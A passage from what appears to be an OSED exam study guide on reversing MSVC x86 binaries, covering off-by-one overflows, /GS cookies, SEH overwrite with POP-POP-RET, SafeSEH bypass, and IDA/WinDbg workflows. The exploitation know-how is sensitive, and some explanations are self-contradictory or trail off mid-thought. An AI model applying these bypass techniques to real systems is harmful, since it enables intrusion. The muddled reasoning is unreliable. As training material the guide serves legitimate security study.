- Length is divided by 2 (`shr eax, 1`) to convert bytes to character index.
- Character access uses `*2` scaling for wide characters.

The function appends a single wide character 'A' (0x0041) at the current end of the string, writes a wide NUL after it, and increments Length by 2 (one wide character = 2 bytes).

The bounds check verifies that `MaximumLength - Length >= 4`, which accounts for the 2-byte character plus the 2-byte wide NUL. The check is correct.

8.11.3 Exercise 3 solution

Snippet A is ANSI: byte-sized access (`byte ptr`), no scale factor, tests `al` (single byte) for zero.

Snippet B is wide: word-sized access (`word ptr`), `*2` scale factor, tests `ax` (two bytes) for zero.

For a 256-byte destination: - ANSI: 255 characters (256 bytes minus 1 for NUL). - Wide: 127 characters (256 bytes / 2 = 128 wide chars, minus 1 for wide NUL).

Neither loop has a length check, so both will overflow the destination if the source string is too long.

8.11.4 Challenge 1 solution

Stack offsets shift as arguments are pushed. A static listing can become confusing if you read `[esp+0Ch]` after previous pushes as if ESP had not moved. In IDA, normalize the prototype and inspect stack deltas; in WinDbg, break before the call and dump `dd esp L8` to identify the actual

pushed values. The semantic goal is to prove destination, source, and count, not to memorize offsets in a moving stack.

Also note: the comparison uses `ja` (unsigned above), not `jae`. This means it allows `ecx == [esp+10h]`, which would be `length == capacity`. If a terminator is written after the copy, this is an off-by-one bug.

8.11.5 Challenge 2 solution

The vulnerability is an off-by-one overflow. The check is `cmp ecx, 100h / ja`, which allows `ecx == 0x100` (256). The buffer at `[ebp-100h]` is exactly 256 bytes. When `ecx == 0x100`:

- `memcpy` copies 256 bytes into the 256-byte buffer – fills it exactly.
- The NUL terminator writes to `[ebp + 0x100 - 0x100] = [ebp]`, which is the saved EBP.

Stack layout:

+-----+-----+		
ebp+0Ch	length argument	
+-----+-----+		
ebp+08h	source pointer	
+-----+-----+		
ebp+04h	return address	
+-----+-----+		
ebp+00h	saved EBP <---- overwritten with 0x00	
+-----+-----+		
ebp-01h	buffer[255]	
...	...	
ebp-100h	buffer[0]	
+-----+-----+		

The low byte of saved EBP is zeroed. This corrupts the caller's frame pointer, which can lead to a controlled write or controlled return address in the caller's epilogue. This is the classic "one-byte EBP overwrite" technique.

The fix: change `ja` to `jae`, or equivalently check `cmp ecx, 0FFh / ja`, ensuring `length < capacity` so the NUL byte always lands inside the buffer.

8.12 Key takeaways

- Structures are recovered by collecting offsets, access widths, and usage patterns across multiple functions – not from any single instruction.
- Length vs. capacity is the single most important distinction for OSED exploit analysis. `<` is safe for NUL-terminated copies; `<=` is usually a bug.
- Wide strings (`wchar_t` / UTF-16LE) double every size calculation. Watch for `*2` scale factors and word `ptr` accesses.
- `UNICODE_STRING` (+0x00 Length, +0x02 MaximumLength, +0x04 Buffer) appears throughout Windows internals – recognize it by its three-field access pattern.
- Off-by-one terminator bugs are subtle (one instruction difference) but directly exploitable through saved EBP corruption.

8.13 See also

- [x86-osed-assembly-reference/](#) chapters 03 (memory operands), 11 (buffers and stack overflows), 22 (format string assembly concepts)
 - [osed-reversing-guide/](#) chapters 08 (aggregates and memory), 10 (buffers and offsets)
 - [DRILLS/structure_recovery.md](#) – practice recovering structs from disassembly
 - [DRILLS/stack_overflow.md](#) – off-by-one and unbounded copy drills
-

Chapter 9

9. MSVC Idioms and Runtime Artifacts

9.1 Learning objectives

- Recognize common MSVC-generated and CRT-like idioms.
- Distinguish programmer logic from compiler-inserted protections.
- Identify copies, clears, string routines, stack cookies, stack probing, SEH, function pointers, virtual dispatch, and import thunks.
- Explain why the compiler generated each pattern.
- Understand SEH exploitation mechanics: nSEH/SEH overwrite, POP-POP-RET.
- Know which functions receive /GS stack cookies and which do not.
- Explain why SEH overwrites bypass stack cookies.

9.2 Concept discussion

Compiler idioms are shortcuts, not conclusions. You should recognize them, then prove the contract:

- Copy: destination, source, count, overlap behavior.
- Clear: destination, value, count.
- String operation: terminator, maximum length, output termination.
- Cookie: saved cookie, check before return, failure target.
- Stack probing: page touching for large local allocation.
- SEH: exception registration manipulation via FS:[0].
- Virtual/function pointer call: data controls code address.
- Import thunk: API boundary.

MSVC emits these patterns because it must implement ABI rules, security options, runtime checks, and optimized library behavior.

9.3 Common compiler patterns

- `rep stosd/stosb`: `memset`-like initialization.
- `rep movsd/movsb`: `memcpy`-like copy.

- `call @__security_check_cookie@4`: stack cookie verification.
- `xor eax, ebp` near prologue: cookie derivation.
- `call __chkstk`: stack probing for large frames.
- `push offset handler; push fs:[0]; mov fs:[0], esp`: x86 SEH registration.
- `jmp dword ptr ds:__imp__API`: import thunk.

9.4 Fully annotated example

```
sub_401800:
    push    ebp
    mov     ebp, esp
    sub     esp, 84h
    mov     eax, __security_cookie
    xor     eax, ebp
    mov     [ebp-4], eax
    lea     edi, [ebp-84h]
    xor     eax, eax
    mov     ecx, 20h
    rep     stosd
    lea     eax, [ebp-84h]
    push    eax
    call    sub_402100
    add     esp, 4
    mov     ecx, [ebp-4]
    xor     ecx, ebp
    call    @__security_check_cookie@4
    mov     esp, ebp
    pop     ebp
    retn
```

Annotated:

```
mov     eax, __security_cookie / xor eax, ebp / mov [ebp-4], eax
; Stack cookie stored in the frame. This is compiler-inserted protection,
; ↪ not
; programmer business logic.

lea     edi, [ebp-84h] / xor eax,eax / mov ecx,20h / rep stosd
; Clear 0x20 dwords = 0x80 bytes of local buffer/object.

call    sub_402100
; Programmer logic resumes: pass the cleared local object to another
; ↪ function.

mov     ecx,[ebp-4] / xor ecx,ebp / call __security_check_cookie
; Verify cookie before returning.
```

The compiler generated the cookie because the function has stack objects that qualify for protection. The programmer wrote code that needed a local object and a call using that object.

9.5 /GS stack cookie details

Not every function gets a cookie. MSVC applies /GS protection selectively:

Functions that DO receive cookies:

- Functions with stack-allocated buffers larger than 4 bytes (arrays, structs with arrays).
- Functions that use `_alloca`.
- Functions with `__except` blocks (SEH filter expressions on the stack).
- Functions whose address is taken and used as a callback.

Functions that do NOT receive cookies:

- Leaf functions (no calls to other functions).
- Functions with only scalar locals (int, pointer, no arrays).
- Functions with buffers of 4 bytes or fewer.
- Functions compiled without /GS (rare in modern builds, but check older code).
- Functions marked with `__declspec(safebuffers)`.

9.5.1 Cookie placement in the frame

```

+-----+
| arguments |
+-----+
| return address |
+-----+
| saved EBP | <-- ebp points here
+-----+
| GS cookie | [ebp-4] -- checked before RET
+-----+
| local variables |
| (scalars first) |
+-----+
| local buffers | <-- overflow starts here, grows upward
+-----+
| (SEH records, |
| if registered) | <-- below the buffer, closer to ESP
+-----+

```

MSVC reorders locals to place buffers at the bottom of the frame (closest to ESP, farthest from the cookie and return address). This means an upward overflow must corrupt the cookie before reaching the return address – the cookie detects the corruption at function return.

But SEH exception registration records sit below the cookie. This is the key to SEH-based exploitation.

9.6 Reverse engineering thought process

Mark runtime artifacts in your notes:

```
compiler: frame, cookie setup/check, rep stosd clear
programmer: zero-initialized local object passed to sub_402100
unknown: what sub_402100 does with that object
```

An exploit developer does not ignore the cookie. They classify it: stack smash may be detected before RET, so exploit strategy may require one of these bypass approaches:

- **SEH overwrite:** if the function registers an SEH handler and the buffer overflow reaches the exception registration record, triggering an exception before the cookie check transfers control through the corrupted handler.
- **Cookie disclosure:** an information leak in a prior request or response reveals the cookie value, allowing the attacker to reconstruct the expected cookie in the overflow payload.
- **Write-what-where:** if the overflow corrupts a pointer or index used in a write before the function returns, the attacker gains an arbitrary write without needing to pass the cookie check.
- **Non-cookie-covered path:** the compiler does not protect every function. A different call site or a function without /GS protection may offer the same overflow without a cookie.
- **Heap or global corruption:** the vulnerable copy writes past the stack frame into adjacent memory, but the exploit targets heap metadata, a global function pointer, or a vtable rather than the saved return address.

9.7 SEH exploitation mechanics

SEH is the primary OSED technique for bypassing /GS stack cookies. Understanding the stack layout and the overwrite mechanics is essential.

9.7.1 The EXCEPTION_REGISTRATION_RECORD

Each x86 SEH registration pushes an 8-byte record onto the stack:

```
typedef struct _EXCEPTION_REGISTRATION_RECORD {
    struct _EXCEPTION_REGISTRATION_RECORD *Next; // +0x00: pointer to
    ↪ previous record
    PEXCEPTION_ROUTINE Handler; // +0x04: pointer to
    ↪ handler function
} EXCEPTION_REGISTRATION_RECORD;
```

Registration in assembly:

```
push    offset handler      ; Handler function address
push    dword ptr fs:[0]    ; Previous record (head of chain)
mov     dword ptr fs:[0], esp ; New record becomes head of chain
```

9.7.2 The SEH overwrite layout

When a function has both a /GS cookie and an SEH registration, the stack looks like this:

High addresses (toward arguments)		
+-----+		
arguments		
+-----+		
return address		
+-----+		
saved EBP		
+-----+		
GS cookie [ebp-4]		<-- checked at RET (never reached)
+-----+		
local scalars		
+-----+		
local buffer [ebp-N]		<-- overflow starts here
...		
...		
+-----+		
nSEH (Next ptr) [esp+4]		<-- overwrite with short jmp (EB 06 90 90)
+-----+		
SEH handler [esp]		<-- overwrite with POP-POP-RET address
+-----+		
Low addresses (toward ESP)		

The overflow path, reading upward from the buffer:

1. Attacker fills the local buffer with controlled data.
2. The overflow continues past the buffer boundary.
3. It overwrites nSEH (the Next pointer) with a short jump: EB 06 90 90.
4. It overwrites the SEH handler with the address of a POP-POP-RET gadget.
5. The overflow eventually corrupts the GS cookie – but this does not matter yet.
6. Before the function returns (and before `__security_check_cookie` runs), the overflow triggers an access violation (e.g., writing past the committed stack page).
7. Windows dispatches the exception through the SEH chain.
8. The corrupted handler (POP-POP-RET address) executes.
9. POP-POP-RET pops two dwords and returns, landing execution at the nSEH field.
10. The short jump at nSEH jumps forward into the attacker's shellcode.

9.7.3 Why POP-POP-RET works

When Windows calls the SEH handler, the stack contains:

```

ESP+00: ptr to EXCEPTION_RECORD
ESP+04: ptr to EXCEPTION_REGISTRATION_RECORD (the nSEH/handler pair on the
↪ stack)
ESP+08: ptr to CONTEXT
ESP+0C: DispatcherContext

```

The address at ESP+04 points to the nSEH field. POP-POP-RET does:

```
pop    reg1      ; removes ESP+00 (EXCEPTION_RECORD ptr)
pop    reg2      ; removes ESP+04 -- but the VALUE was the address of nSEH
ret                    ; pops ESP+08... wait -- this needs clarification:
```

Actually, the POP-POP-RET sequence works because after the two POPs, ESP points to what was at ESP+08, and RET pops that into EIP. But the critical detail is that the EstablisherFrame (ESP+04 parameter) points back to the EXCEPTION_REGISTRATION_RECORD on the stack – i.e., to the nSEH field. The handler is called with this as a parameter, and when the EXCEPTION_DISPOSITION return path processes, the POP-POP-RET redirects execution flow through the corrupted nSEH on the stack. The net effect: execution lands at the nSEH address on the stack, where the short jump (EB 06) skips the 4-byte SEH handler field and lands in attacker-controlled data (the overflow payload).

9.7.4 Worked SEH exploit scenario

Consider this function:

```
vuln_func:
    push    ebp
    mov     ebp, esp
    sub     esp, 218h
    mov     eax, __security_cookie
    xor     eax, ebp
    mov     [ebp-4], eax

    ; SEH registration
    push    offset safe_handler
    push    dword ptr fs:[0]
    mov     dword ptr fs:[0], esp

    ; Vulnerable copy
    push    [ebp+0Ch]      ; attacker-controlled length
    push    [ebp+8]        ; attacker-controlled source
    lea     eax, [ebp-200h] ; 512-byte local buffer
    push    eax
    call    _memcpy
    add     esp, 0Ch

    ; SEH teardown
    mov     ecx, [esp]
    mov     dword ptr fs:[0], ecx
    add     esp, 8

    ; Cookie check
    mov     ecx, [ebp-4]
    xor     ecx, ebp
    call    @__security_check_cookie@4
```

```

mov     esp, ebp
pop     ebp
retn

```

Before overflow – !exchain output:

```

0:000> !exchain
0012FA00: vuln_module!safe_handler
0012FFB0: ntdll!_except_handler4+0 (7C91E252)

```

After overflow with 600 bytes of 'A' (0x41):

```

0:000> !exchain
0012FA00: 41414141
Invalid exception stack at 41414141

```

The handler has been overwritten. In a real exploit, the handler would be replaced with a POP-POP-RET gadget address, and the nSEH with EB 06 90 90.

9.7.5 Verify in WinDbg

Key commands for SEH analysis:

```

0:000> !exchain                                ; show exception handler chain
0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD <addr> ; examine record
0:000> !teb                                    ; find TEB, FS:[0] is first field
0:000> dd fs:[0] L1                            ; head of SEH chain
0:000> dd poi(fs:[0]) L2                       ; Next and Handler of first record
0:000> u poi(poi(fs:[0])+4)                    ; disassemble the handler

```

9.8 SafeSEH and SEHOP

9.8.1 SafeSEH

SafeSEH is a linker-time mitigation. When enabled, the PE header contains a table of valid exception handler addresses. At exception dispatch time, the OS verifies that the handler address appears in the table before calling it.

Checking SafeSEH status:

```

; In WinDbg with nlarly or checksec:
0:000> !checksec -m vuln_module
vuln_module
    SafeSEH : TRUE           ; handlers are validated
    ASLR    : FALSE
    DEP     : TRUE

; Or check the DllCharacteristics in the PE header:
0:000> !dh vuln_module -f

```

```
...
DLL Characteristics: 0040 ; IMAGE_DLLCHARACTERISTICS_NO_SEH not set
...
Load Config: <addr>
Size: 0x48
SEHandlerTable: <addr> ; present = SafeSEH enabled
SEHandlerCount: 0x0F
```

Exploitation strategy with SafeSEH:

- Find a loaded module that was compiled WITHOUT SafeSEH.
- Use a POP-POP-RET gadget from that module as the SEH handler address.
- Modules compiled without SafeSEH have no handler table, so the OS cannot validate the handler and allows the call.
- Common candidates: older third-party DLLs, application-specific modules, modules compiled with older toolchains.

9.8.2 SEHOP (SEH Overwrite Protection)

SEHOP validates the SEH chain integrity at exception time. It checks that the chain terminates at a known sentinel record. If an overflow breaks the chain (corrupts the Next pointer), SEHOP detects it.

- Enabled by default on Windows Server 2008+ and Windows 10+.
- Can be disabled per-application via registry for testing.
- SEHOP makes the nSEH overwrite unreliable because the corrupted Next pointer breaks chain validation.
- OSED exam targets typically have SEHOP disabled.

9.9 Cookie bypass via SEH: worked example

Here is the complete reasoning for why SEH overwrites bypass /GS:

1. The /GS cookie sits between the local buffer and the saved return address. It is checked in the function epilogue, right before ret.
2. The SEH registration record sits at a lower stack address (closer to ESP) than the cookie. In many MSVC-compiled functions, the SEH record is between the local buffer and the bottom of the frame.
3. An upward overflow from the local buffer hits the SEH record BEFORE it reaches the cookie. Both get corrupted, but the overflow itself may trigger an exception (e.g., by writing past the committed stack guard page) before the function reaches its epilogue.
4. When the exception fires, Windows walks the SEH chain. It finds the corrupted handler address and calls it. The cookie check never executes because the function never reaches its ret instruction.
5. The corrupted handler (POP-POP-RET) redirects execution to the nSEH field on the stack, where the attacker has placed a short jump into the payload.

This is why the SEH overwrite is the primary /GS bypass in OSED: the exception is triggered and handled before the cookie is checked.

9.10 Common mistakes

- Treating `__security_check_cookie` as an application validation function.
- Calling every `rep movs` safe or unsafe without count/destination analysis.
- Ignoring stack probing and misreading it as an application loop.
- Assuming import thunks are meaningful functions.
- Thinking /GS cookies protect against all stack-based exploits.
- Forgetting that SEH records are stored on the stack, within reach of overflows.

9.11 Exercises

9.11.1 Exercise 1: Stack probing

```
sub_401870:
    push    ebp
    mov     ebp, esp
    mov     eax, 5000h
    call    __chkstk
    lea     eax, [ebp-5000h]
    push    eax
    call    sub_402300
    add     esp, 4
    mov     esp, ebp
    pop     ebp
    ret     0
```

Questions:

- Why does `__chkstk` exist?
- What programmer-level fact caused this pattern?
- What should you analyze next?

9.11.2 Exercise 2: SEH registration with cookie

```
sub_401900:
    push    ebp
    mov     ebp, esp
    sub     esp, 210h
    mov     eax, __security_cookie
    xor     eax, ebp
    mov     [ebp-4], eax

    push    offset __except_handler4
```

```

push    dword ptr fs:[0]
mov     dword ptr fs:[0], esp

lea     eax, [ebp-204h]
push    200h
push    [ebp+8]
push    eax
call    _memcpy
add     esp, 0Ch

; ... more code ...
mov     ecx, [ebp-4]
xor     ecx, ebp
call    @__security_check_cookie@4
mov     esp, ebp
pop     ebp
retn

```

Questions:

- What is the size of the local buffer?
- Is the memcpy safe or unsafe? What determines this?
- If this function were exploitable, which protection (cookie or SEH) could be bypassed, and why?
- Draw the stack layout showing the relative positions of the buffer, SEH record, cookie, and return address.

9.11.3 Exercise 3: Identifying /GS candidates

For each function description below, predict whether MSVC would insert a /GS cookie:

1. Function with a 200-byte local char array and two function calls.
2. Function with only two int locals and one function call.
3. Leaf function (no calls) with a 500-byte local buffer.
4. Function using _alloca(user_len) with no other buffers.
5. Function with a 2-byte local short array and three function calls.

9.12 Challenge problems

9.12.1 Challenge 1: SEH teardown

```

push    offset handler
push    dword ptr fs:[0]
mov     dword ptr fs:[0], esp
...
mov     ecx, [esp]
mov     dword ptr fs:[0], ecx

```

```
add    esp, 8
```

Identify the pattern and explain how it affects exploit-oriented analysis.

9.12.2 Challenge 2: Complete exploit path analysis

```
vuln_process:
    push    ebp
    mov     ebp, esp
    sub     esp, 120h
    mov     eax, __security_cookie
    xor     eax, ebp
    mov     [ebp-4], eax

    push    offset handler_func
    push    dword ptr fs:[0]
    mov     dword ptr fs:[0], esp

    push    0
    push    400h                ; read up to 1024 bytes
    lea     eax, [ebp-100h]      ; 256-byte local buffer
    push    eax
    push    [ebp+8]              ; socket
    call    _recv
    add     esp, 10h
    ; ... continues ...
```

Map out the full exploit chain: where does the overflow happen, what gets corrupted in what order, which mitigation is bypassed, and what exploit technique applies.

9.13 Solutions with reasoning

9.13.1 Exercise 1 solution

On 32-bit MSVC, `__chkstk` is the compiler helper used for large stack allocations. The requested allocation size is placed in EAX, and the helper probes the guard pages while establishing the large stack frame. Do not add a second `sub esp, eax` after this pattern unless you have verified the exact helper convention in the target compiler/runtime. The programmer-level fact is a large local object or alloca-like allocation around 0x5000 bytes. A real build with this allocation size would likely also include a stack cookie; it is omitted here to focus on the probing pattern. Analyze `sub_402300` and all writes to the large local buffer; the probe itself is not domain logic.

Plausible pseudocode:

```
void f(void) {
    unsigned char big[0x5000];
    sub_402300(big);
}
```

}

9.13.2 Exercise 2 solution

The local buffer is 0x200 (512) bytes, based on `lea eax, [ebp-204h]` (the extra 4 bytes at the top are the cookie). The `memcpy` copies a fixed 0x200 bytes. Whether this is safe depends on what `[ebp+8]` points to and whether the source data is attacker-controlled. The copy count is hardcoded and matches the buffer size, so the `memcpy` itself does not overflow.

However, if any other code path writes to this buffer without a proper bounds check, the SEH record below the buffer is the target. The cookie check happens at function return, but the SEH handler is invoked at exception time – before return. So the SEH handler can be corrupted and triggered before the cookie check ever runs.

Stack layout:

+-----+		
arguments		
+-----+		
return address		
+-----+		
saved EBP		
+-----+		
GS cookie [ebp-4]		
+-----+		
(other locals)		
+-----+		
buffer[511]		ebp-05h
...		
buffer[0]		ebp-204h
+-----+		
SEH next (nSEH)		
+-----+		
SEH handler		
+-----+		

9.13.3 Exercise 3 solution

1. YES – has a buffer > 4 bytes and makes calls.
2. NO – only scalar locals (int), no arrays.
3. It depends. MSVC historically does not cookie-protect leaf functions even with large buffers because there is no `ret` to hijack after a call. However, modern MSVC versions may still insert one. In practice, check the binary.
4. YES – `_alloca` always triggers /GS.
5. NO – a 2-byte buffer (one short element) is <= 4 bytes.

9.13.4 Challenge 1 solution

This is x86 Structured Exception Handling registration. The function links an exception registration record through `FS: [0]`, then restores the previous head. For exploit analysis, SEH matters because stack corruption may overwrite handler records, and exception paths can transfer control before normal epilogue/cookie logic depending on layout and compiler options.

9.13.5 Challenge 2 solution

The overflow path:

1. `recv` reads up to 0x400 (1024) bytes into a buffer at `[ebp-100h]` that is only 0x100 (256) bytes.
2. The overflow writes upward through the stack:
 - First corrupts any local variables above the buffer.
 - Then corrupts the GS cookie at `[ebp-4]`.
 - Then corrupts saved EBP and the return address.
3. But the SEH record is below the buffer (closer to ESP). Wait – actually, in this function the SEH record was pushed AFTER `sub esp, 120h`, so it is at a lower address than the buffer. The buffer is at `[ebp-100h]` and the SEH record is at `[esp]` (which is below `[ebp-120h]`). So the overflow goes UPWARD from the buffer, past locals, past the cookie, toward the return address.

The SEH is below the buffer in this layout, so the upward overflow does NOT hit the SEH record. The cookie WILL catch this overflow.

Corrected analysis: to exploit this via SEH, you would need the overflow to go downward, or the SEH record would need to be at a higher address. In this case, the primary exploit path is to leak the cookie or find a write-what-where before the cookie check.

This is an important lesson: always draw the actual stack layout before assuming the SEH bypass applies. The relative positions of buffer, SEH record, and cookie determine the exploit strategy.

9.14 Key takeaways

- MSVC inserts /GS cookies only in functions with stack buffers > 4 bytes, `_alloca`, or `__except` blocks. Leaf functions and scalar-only functions typically get no cookie.
- SEH overwrites bypass /GS because the exception handler is invoked before the function returns and before the cookie is checked.
- The SEH exploit pattern is: overflow buffer -> overwrite nSEH with short `jmp` -> overwrite handler with POP-POP-RET -> trigger exception -> gain execution.
- SafeSEH validates handler addresses against a PE table. Bypass it by using gadgets from non-SafeSEH modules.
- Always draw the stack layout. The relative positions of buffer, SEH record, and cookie determine whether the SEH bypass applies.

9.15 See also

- [x86-osed-assembly-reference/](#) chapters 07 (stack fundamentals), 08 (function stack frames), 11 (buffers and stack overflows), 15 (DEP and page protections)
 - [osed-reversing-guide/](#) chapters 03 (stack and frames), 09 (library idioms), 12 (IDA-WinDbg loop)
 - [DRILLS/stack_overflow.md](#) – SEH overwrite practice scenarios
 - [DRILLS/primitive_identification.md](#) – identifying exploit primitives
-

Chapter 10

10. Methodology: From Unknown Function to Working Model

10.1 Learning objectives

- Analyze an unknown function with a repeatable process.
- Track origin, destination, control conditions, and invariants.
- Separate facts, hypotheses, and unresolved questions.
- Apply IDA-specific and WinDbg-specific workflows to real analysis.
- Know when to switch from static to dynamic analysis.

10.2 Concept discussion

Good reverse engineering is disciplined uncertainty reduction. You do not need to understand every instruction at once. You need to identify the load-bearing facts and test the model.

Use this method:

1. Find boundaries: prologue, epilogue, tail calls, exception exits.
2. Identify inputs: arguments, globals, object fields, imports, prior calls.
3. Identify outputs: return value, writes, calls, global changes.
4. Recover guards: null checks, bounds checks, auth checks, type checks.
5. Track attacker-controlled values.
6. Identify invariants after each guard.
7. Classify compiler artifacts.
8. Draft pseudocode only after the fact ledger stabilizes.
9. Verify uncertain facts in WinDbg.

10.2.1 Decision flowchart

Start: unknown function

|
v

```

Identify calling convention (cdecl/stdcall/thiscall/fastcall)
|
v
Map arguments and locals from frame layout
|
v
Classify each call: API import? internal? indirect?
|
v
Is any argument attacker-controlled?
|No --> Low priority (deprioritize, move to next function)
|Yes
v
Does it copy or write using attacker-influenced values?
|No --> Check for format strings, indirect calls, array indexing
|Yes
v
Is the copy bounded to destination capacity?
|Yes --> Is the bound correctly computed? (signed? off-by-one?)
|No
v
EXPLOITABLE CANDIDATE -- verify mitigations and reachability

```

10.3 IDA workflow

10.3.1 Finding attack surface

1. **Open the Imports window** (View -> Open subviews -> Imports). Search for dangerous functions: `recv`, `ReadFile`, `memcpy`, `strcpy`, `sprintf`, `sscanf`, `HeapAlloc`, `VirtualAlloc`.
2. **Cross-reference callers** (select the import, press x or Ctrl+X). This lists every location that calls the function. Follow each caller.
3. **Trace data flow forward**: from `recv` or `ReadFile`, identify the buffer argument and trace it through subsequent function calls. Look for the buffer being passed as a source to `memcpy`, `strcpy`, or `sprintf`.
4. **Examine frame layout**: in the function containing a suspicious copy, look at the local variable panel (left side of IDA). `var_80` means `[ebp-80h]`, which is 128 bytes below EBP. If `memcpy` writes into `var_80` with a count larger than 128, it overflows.
5. **Check the decompiler** (F5, if Hex-Rays is available): use it as a hypothesis generator, not as ground truth. The decompiled C is a guess that may have wrong types, wrong signedness, or merged variables. Verify every claim against the actual instructions.

10.3.2 Key IDA shortcuts

x or Ctrl+X	Cross-references to/from current address
n	Rename function or variable
y	Set type for function or variable
g	Go to address
Ctrl+F	Search in current view
Space	Toggle graph/text view
F5	Decompile (Hex-Rays)
Shift+F12	Strings window

10.4 WinDbg workflow

10.4.1 When to switch from static to dynamic

Switch to WinDbg when: - You need to verify argument values at runtime. - The static analysis shows a suspicious copy but you cannot determine if the count is attacker-controlled. - You need to trigger the vulnerability and observe the crash. - You need to calculate the exact overflow offset. - ASLR or other runtime state affects the analysis.

10.4.2 Attach and set initial breakpoints

```
0:000> .sympath srv*c:\symbols*https://msdl.microsoft.com/download/symbols
0:000> .reload /f
0:000> bp app!recv ; break on network input
0:000> bp app!sub_401900 ; break at target function
0:000> g
```

10.4.3 Examine function entry state

```
0:000> dd esp L8 ; view stack: return addr, arg0, arg1, arg2, ...
0:000> da poi(esp+4) ; if arg0 is a string pointer, print it
0:000> db poi(esp+8) L40 ; if arg1 is a buffer pointer, dump first 64 bytes
0:000> r ; view all registers
```

10.4.4 Trace data flow from recv

```
0:000> bp ws2_32!recv
0:000> g
Hit breakpoint:
0:000> dd esp L4 ; args: socket, buf, len, flags
0:000> dd poi(esp+4) L10 ; preview buffer location
0:000> g ; let recv complete
0:000> db poi(esp+4) L poi(esp+8) ; view received data
```

10.4.5 Monitor copy operations

```
0:000> bp app!memcpy ".printf \"%memcpy(dst=%p, src=%p, n=%x)\\n\\",poi(esp+4),poi(esp+8),
```

This conditional breakpoint prints the memcpy arguments and continues, creating a log of every copy operation with sizes.

10.4.6 After a crash

```
0:000> .ecxr                ; switch to exception context
0:000> r                      ; view registers at crash
0:000> !exchain              ; view SEH chain (for SEH exploits)
0:000> kb                    ; stack backtrace
0:000> !address eip          ; determine what module EIP is in
0:000> !address esp          ; verify stack region
```

10.5 Common compiler patterns

- Repeated return -1 blocks: validation failure.
- Calls one layer deeper: wrappers hiding real behavior.
- Status codes checked with test eax, eax or cmp eax, 0.
- Auth/session fields checked before parser calls.
- Logging calls that use attacker data but do not consume it dangerously.

10.6 Fully annotated example

```
sub_401900:
    push    ebp
    mov     ebp, esp
    push    esi
    mov     esi, [ebp+8]
    cmp     byte ptr [esi+20h], 0
    jz      noauth
    push    [ebp+10h]
    push    [ebp+0Ch]
    call    parse_config_set
    add     esp, 8
    test    eax, eax
    jnz     bad
    push    offset ok_msg
    push    esi
    call    send_status
    add     esp, 8
    pop     esi
    pop     ebp
    retn

noauth:
    push    offset auth_msg
    push    esi
    call    send_status
```

```

    add     esp, 8
    pop     esi
    pop     ebp
    retn
bad:
    push    offset bad_msg
    push    esi
    call    send_status
    add     esp, 8
    pop     esi
    pop     ebp
    retn

```

Annotated:

```

mov esi, [ebp+8]
cmp byte ptr [esi+20h], 0 / jz noauth
; Session/client object has an auth-like byte at +0x20. It gates parser
; ↪ access.

push [ebp+10h] / push [ebp+0Ch] / call parse_config_set
; Body pointer and body length are passed one layer deeper. The bug, if
; ↪ any, is
; probably not in this wrapper.

test eax, eax / jnz bad
; Parser status controls response.

```

The CPU is answering: “Is this client authenticated, and did the parser accept the body?” The programmer wrote workflow control. An exploit developer follows the attacker-controlled body into `parse_config_set`.

10.7 Reverse engineering thought process

Fact ledger:

```

arg0 = client/session pointer
field +0x20 gates parser
arg1/arg2 = parser inputs
parse_config_set returns zero on success
send_status consumes result messages

```

Open questions:

```

What writes field +0x20?
Where do arg1/arg2 originate?
Does parse_config_set copy without bounds?
Can auth be bypassed or legitimately obtained?

```

10.7.1 Exploitability checklist

Before declaring a function exploitable, verify:

```
[ ] Attacker-controlled data reaches the function (trace from
  ↪ recv/ReadFile)
[ ] The vulnerable operation uses attacker data (not just constant values)
[ ] Destination buffer size is known (from frame layout or allocation)
[ ] Copy count exceeds destination capacity under attacker control
[ ] Overflow reaches a security-relevant target (return address, SEH,
  ↪ pointer)
[ ] Mitigations are identified (/GS cookie, SafeSEH, DEP, ASLR)
[ ] A bypass strategy exists for each mitigation
[ ] Bad characters are identified for the input path
[ ] Sufficient payload space exists (or egghunter is viable)
```

10.7.2 OSED exam time management

The exam is 48 hours, proctored, no internet. Suggested allocation for 3 targets:

Phase	Time
-----	-----
Reconnaissance (all 3)	4 hours
Target 1 analysis	4 hours
Target 1 exploit dev	6 hours
Target 2 analysis	4 hours
Target 2 exploit dev	6 hours
Target 3 analysis	4 hours
Target 3 exploit dev	6 hours
Report writing	6 hours
Buffer / debugging	8 hours

Do not spend more than 10 hours on any single target before moving to the next. Coming back with fresh eyes often breaks a deadlock.

10.8 Common mistakes

- Stopping at the handler and declaring it safe.
- Treating auth gates as irrelevant because they are not memory corruption.
- Spending time on response formatting before following input data.
- Writing pseudocode before knowing which arguments are body pointer and length.
- Trying to understand every function before identifying the attack surface. Start from dangerous operations and trace backward to attacker input.
- Not using conditional breakpoints in WinDbg to log function arguments. Manual stepping through hundreds of calls is too slow.

10.9 Exercises

10.9.1 Exercise 1

```
sub_401980:
    mov     eax, [esp+4]
    cmp     dword ptr [eax+14h], 3
    jnz     short reject
    push    [esp+0Ch]
    push    [esp+0Ch]
    call    sub_402500
    add     esp, 8
    retn
reject:
    mov     eax, 0FFFFFFFh
    retn
```

Questions:

- What is the gate?
- What value flows past the gate?
- What must be verified before trusting the stack offsets?

10.9.2 Exercise 2

```
sub_402000:
    push    ebp
    mov     ebp, esp
    sub     esp, 100h
    mov     eax, [ebp+8]           ; arg0 = session pointer
    mov     ecx, [eax+0Ch]        ; ECX = buffer from session object
    push    ecx                   ; source
    lea     edx, [ebp-100h]
    push    edx                   ; destination (256-byte local)
    call    _strcpy
    add     esp, 8
    lea     edx, [ebp-100h]
    push    edx
    call    process_command
    add     esp, 4
    mov     esp, ebp
    pop     ebp
    retn
```

Apply the 9-step methodology. Fill out a fact ledger and list open questions. Is this function exploitable? What additional information do you need?

10.9.3 Exercise 3

You are analyzing a network service. In IDA, you find that `ws2_32!recv` is called in function `sub_401000`. Using cross-references, you trace the received buffer through `sub_401200` (which parses a length field) and into `sub_401400` (which calls `memcpy`).

In `sub_401400`, the frame layout shows `sub esp, 80h` and `lea eax, [ebp-80h]` as the `memcpy` destination. The count argument comes from `[ebp+0Ch]`, which is the parsed length from `sub_401200`.

Write the WinDbg commands to: 1. Break when `sub_401400` is called. 2. Print the destination address, source address, and count. 3. Determine if the count can exceed `0x80`.

10.10 Challenge problems

Given a function with one obvious unsafe `memcpy`, list the evidence you need before calling it exploitable. Structure your answer as a checklist with specific WinDbg commands or IDA steps for each item.

10.11 Solutions with reasoning

10.11.1 Exercise 1 solution

